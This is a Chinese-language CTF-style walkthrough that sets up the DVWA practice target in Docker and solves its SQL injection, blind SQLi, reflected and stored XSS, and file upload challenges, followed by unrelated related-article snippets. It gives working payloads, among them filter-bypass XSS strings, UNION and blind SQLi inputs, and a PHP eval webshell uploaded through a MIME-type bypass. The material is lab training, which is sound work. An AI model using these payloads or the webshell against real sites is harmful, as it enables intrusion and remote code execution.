Docker搭建DVWA靶场以及刷题记录

Docker搭建DVWA靶场以及刷题记录

  • Docker搭建DVWA靶场以及刷题记录
    • 靶场搭建
  • 刷题记录
    • SQL Injection
      • Low
      • Medium
      • High
      • Impossible
    • SQL Injection(Blind)
      • Low
      • Medium
      • High
    • XSS (Reflected)
      • Low
      • Medium
      • High
    • XSS (Stored)
      • Low
      • Medium
      • High
    • File Upload
      • Low
      • Medium
      • High

Docker搭建DVWA靶场以及刷题记录

靶场搭建

  1. 获取资源
docker pull sagikazarmark/dvwa
  1. 启动
docker run  -p 8087:80 --name dvwa sagikazarmark/dvwa
  1. 初始化

在这里插入图片描述
在这里插入图片描述

刷题记录

SQL Injection

Low

在这里插入图片描述
输入

1'//有报错

在这里插入图片描述
可以观察到,入参是被双引号包围的
构造1"#绕过
在这里插入图片描述

两个回显位,之后注入语句参考
在这里插入图片描述

Medium

在这里插入图片描述

id提供了可选值,不能直接输入,BurpSuite抓包修改看是否有效

id=3'&Submit=Submit//回显报错信息

在这里插入图片描述
输入的'被转义了,直接输注入语句

id=3 union select 1,1&Submit=Submit

在这里插入图片描述

High

在这里插入图片描述
在这里插入图片描述
点击提交会回显
在这里插入图片描述

输入特殊语句1',直接回显失败页面,可能是布尔盲注
在这里插入图片描述
还有空回显的页面
在这里插入图片描述

不能盲注,看WriteUp发现是源码设置了limit 1,从而只能检索一行数据

2' union select database(),12 limit 1,1 #

在这里插入图片描述

Impossible

在这里插入图片描述
上边的测试方法都没回显了,试试时间盲注

?id=1' and sleep(5)
?id=1" and sleep(5)
?id=1' and sleep(5) #
?id=1" and sleep(5) #

也没有明显的时间差异

SQL Injection(Blind)

Low

在这里插入图片描述
可以看到查询成功回显User ID exists in the database.,否则回显User ID is MISSING from the database.

1 //User ID exists in the database.
1' //User ID is MISSING from the database.
1'# //User ID exists in the database.

之后就是查数据了,参考Less-5

1'  and left(database(),1)='d' #
......

Medium

在这里插入图片描述
抓包修改id值即可

id=5 and length(database()) = 4&Submit=Submit

在这里插入图片描述

High

在这里插入图片描述
同样也是查询成功回显User ID exists in the database.,否则回显User ID is MISSING from the database.

1 //User ID exists in the database.
1' //User ID is MISSING from the database.
1'# //User ID exists in the database.

查询数据即可

1' and length(database()) = 4#

XSS (Reflected)

Low

在这里插入图片描述
输入注入语句,直接弹窗成功

<script>alert(1)</script>

Medium

同样输入,但是这次不行了,看下是被如何转义了

<script>alert(1)</script>

在这里插入图片描述
输入的<script>没了
在这里插入图片描述
闭合pre标签试试

</pre><script>alert(1)</script>

在这里插入图片描述

还是被转义了,这次大小写混合绕过了

</pre><Script>alert(1)</script>

High

输入注入语句,查看页面发现输入还是在pre标签内

<script>alert(1)</script>

在这里插入图片描述

尝试闭合

</pre><Script>alert(1)</script>

在这里插入图片描述
逐步测试

</pre>123

在这里插入图片描述

</pre><a href="javascript:alert('XSS');">Click me</a>
</pre><a href="#" onclick="alert('XSS')">Click me</a>//点击连接成功弹窗,感觉是屏蔽了`script`

源码如下,确实正则过滤了script
在这里插入图片描述

XSS (Stored)

Low

在这里插入图片描述
输入注入语句成功弹窗

<script>alert(1)</script>

在这里插入图片描述

Medium

<script>alert("Medium")</script>在这里插入图片描述
输入的<script>没了,大小写和双写混合都没绕过

<Script>alert(321)</script>

在这里插入图片描述

看下输入框处的代码,看了WP是对第一个输入框进行攻击
在这里插入图片描述
先修改第一个框的输入限制改为30,再输入攻击语句成功弹窗
在这里插入图片描述

High

存储型的练习没有提供删除功能,每次可以重置一下,点击Setup/Rese tDB
在这里插入图片描述
和反射型的一样对script进行了过滤,换一种攻击语句,同样也是针对第一个输入框进行注入

<a href="#" onclick="alert('XSS')">Click me</a>

File Upload

Low

在这里插入图片描述

直接上传一句话木马

<?php @eval($_POST['cmd']);?>

提示上传成功

../../hackable/uploads/1.php succesfully uploaded!
http://ip:8087/hackable/uploads/1.php //蚁剑成功连接

Medium

在这里插入图片描述

上传一句话木马被提示只允许 JPEG or PNG ,BP抓包确定是否为前端检查,若是则可以抓包修改后缀
在这里插入图片描述

抓包有记录,说明是传到了后端进行的检测,尝试其他绕过方法,修改

Content-Type: image/jpeg
->
Content-Type:application/octet-stream

上传成功了,说明是检查了MIME type
在这里插入图片描述

High

上传一句话木马,同样被提示只允许图片文件,上传图片马参考Less-16
在这里插入图片描述
但是图片没有被按照PHP执行,还需要一个文件包含漏洞的环境,
在这里插入图片描述
新开标签页将Security改为Low,来到靶场下的File Inclusion ,输入图片马地址被成功执行
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/905243.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

跨平台开发支付组件,实现支付宝支付

效果图&#xff1a; custom-payment &#xff1a; 在生成预付订单之后页面中需要弹出一个弹层&#xff0c;弹层中展示的内容为支付方式&#xff08;渠道&#xff09;&#xff0c;由用户选择一种支付方式进行支付。 该弹层组件是以扩展组件 uni-popup 为核心的&#xff0c;关于…

python debug作业

任务类型任务内容预计耗时闯关任务Leetcode 383(笔记中提交代码与leetcode提交通过截图)20mins闯关任务Vscode连接InternStudio debug笔记10mins可选任务pip安装到指定目录10mins leetcode题目解析&#xff1a; 解题思路 字符统计&#xff1a;使用 Python 的 Counter 类统计 ra…

【PyCharm配置Conda的虚拟环境】

conda create了一个新的虚拟环境&#xff0c;想在PyCharm里面使用这个环境&#xff0c;但是怎么都添加不上。 解决办法&#xff0c;把conda executable选择为conda安装目录下的condabin下的conda.bat文件&#xff0c;成功&#xff01;

加载视频显示 - python 实现

#-*-coding:utf-8-*- # date:2021-03-21 # Author: DataBall - Xian # Function: 加载视频并显示import cv2 if __name__ "__main__":#加载视频cap cv2.VideoCapture(./video/1.mp4)while True:ret, img cap.read()# 获取相机图像if ret True:# 如果 ret 返回值为…

【大数据学习 | kafka】kafka的整体框架与数据结构

1. kafka的整体框架 首先kafka启动以后所有的broker都会向zookeeper进行注册&#xff0c;在/brokers/ids中以列表的形式展示所有的节点&#xff0c;在/controller节点中使用独享锁实现broker的选举&#xff0c;其中一个机器为主节点。其他的为从节点&#xff0c;选举的根本原则…

磁盘的分区

硬盘管理 硬盘的概念 硬盘是一种计算机的存储设备&#xff0c;通常是由一个或多个磁性盘片组成。硬盘既可以安装在计算机的内部&#xff0c;也可以外接计算机 硬盘主要是用来保存数据的 数据包括&#xff1a;操作系统&#xff0c;应用程序&#xff0c;文档多媒体文件等等 计算…

鸿蒙网络编程系列40-TLS数字证书查看及验签示例

1. TLS数字证书验签简介 数字证书的验签是网络编程中一个重要的功能&#xff0c;它保证了数字证书的真实性&#xff0c;在此基础上&#xff0c;我们才可以信任该证书&#xff0c;从而信任基于该证书建立的安全通道&#xff0c;所以说&#xff0c;数字证书的验签是通讯安全的基…

(一)VB 2010 开发环境

VB 2010 开发环境使用VB2010. VB2010界面如图所示起始页&#xff1a;访问项目&#xff0c;团队项目&#xff0c;MSDN帮助资源&#xff08;MSDN&#xff08;Microsoft Developer Network&#xff09;帮助资源是微软公司为开发者提供的一个综合性资源平台&#xff09;新建项目&am…

2小时,我搭建了一整套车间生产看板

大家可能一提到生产看板搭建&#xff0c;要么想到的是高价购买专业软件&#xff0c;要么是觉得搭建过程复杂。其实&#xff0c;真没大家想象的那么难。我自己也不是一名专业的技术开发人员&#xff0c;就是一名普普通通小员工。现在信息社会&#xff0c;只要大家找对路子&#…

三项智能网联汽车强制性国家标准正式发布(附图解)

近日&#xff0c;工业和信息化部组织制定的GB 44495—2024《汽车整车信息安全技术要求》、GB 44496—2024《汽车软件升级通用技术要求》和GB 44497—2024《智能网联汽车 自动驾驶数据记录系统》三项强制性国家标准由国家市场监督管理总局、国家标准化管理委员会批准发布&#x…

021集——批量根据交点分割线(CAD—C#二次开发入门)

如下图所示&#xff0c;红线为分割后的线&#xff08;已挪动&#xff09;&#xff1a; 部分代码如下&#xff1a; using Autodesk.AutoCAD.ApplicationServices; using Autodesk.AutoCAD.DatabaseServices; using Autodesk.AutoCAD.Geometry; using Autodesk.AutoCAD.Runtime; …

数据可视化工具深入学习:Seaborn 与 Plotly 的详细教程

数据可视化工具深入学习&#xff1a;Seaborn 与 Plotly 的详细教程 数据可视化是数据分析中不可或缺的一部分&#xff0c;能够有效地帮助我们理解数据、发现模式和传达信息。在众多可视化工具中&#xff0c;Seaborn 和 Plotly 是两个非常流行且强大的库。本文将深入探讨这两个…

java多线程编程(二)一一>线程安全问题, 单例模式, 解决程线程安全问题的措施

引言&#xff1a; 如果多线程环境下代码运行的结果是符合我们预期的&#xff0c;即在单线程环境应该的结果&#xff0c;则说这个程序是线程安全的 线程安全问题的原因&#xff1a; 一.操作系统的随机调度 &#xff1a; 二.多个线程修改同一个变量&#xff1a; 三.修改操作不是…

ELK之路第四步——整合!打通任督二脉

ELK之路第四步——整合&#xff01;打通任督二脉 前言1.架构2.下载资源3.整合开始1.分别启动三个es2.启动kibana3.新建filebeat_logstash.yml配置文件4.修改logstash的启动配置文件5.启动logstash6.启动filebeat7.Kibana查看 4.结语 前言 在开始本篇之前&#xff0c;你需要用到…

【渗透测试】01-信息收集-名词概念

1、域名 什么是域名? 相当于网站的名字维基百科对域名的解释是&#xff1a;互联网上某一台计算机或计算机组的名称&#xff0c;用于在数据传输时标识计算机的电子方位&#xff08;有时也指地理位置&#xff09;。 网域名称系统&#xff08;Domain Name System&#xff09;有时…

支持ANC的头戴式蓝牙耳机,更有小金标认证,QCY H3 Pro体验

平时听音乐、看视频&#xff0c;大家都想获得更悦耳的音质体验&#xff0c;这时候蓝牙耳机就是性价比更高的一种方案&#xff0c;同时因其无线束缚、便携性高的特点&#xff0c;随时拿出来就能用。更不用说如今国产品牌的蓝牙耳机升级迭代速度非常快&#xff0c;百元的价位就可…

【Golang】Gin框架中跨域问题解决方案

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

Python飞舞蝙蝠

目录 系列文章 写在前面 完整代码 代码分析 写在后面 系列文章 序号直达链接爱心系列1Python制作一个无法拒绝的表白界面2Python满屏飘字表白代码3Python无限弹窗满屏表白代码4Python李峋同款可写字版跳动的爱心5Python流星雨代码6Python漂浮爱心代码7Python爱心光波代码…

【SSM-Day5】SpringMVC入门

【SSM-Day5】SpringMVC入门 Web->Servlet->Servlet容器MVC档案SpringMVC档案SpringMVC核心操作&#x1f4e2;建立连接RequestMapping&#xff1a;实现路由映射Controller/ResponseBody&#xff1a;表示某个类是否可以接收HTTP请求 &#x1f4e2;接收请求1. 直接接收一个请…

ChatGPT在解读历史股票收益预测中的外推和错误校准

论文地址&#xff1a;https://arxiv.org/pdf/2408.16707 原本地址&#xff1a;https://mp.weixin.qq.com/s/gL8ZTnpS0xJy7Qc73QEaGw 摘要 本文研究了大型语言模型&#xff08;LLM&#xff09;如何解释历史股票回报&#xff0c;并将其预测与众包股票排名平台的估计进行了比较。…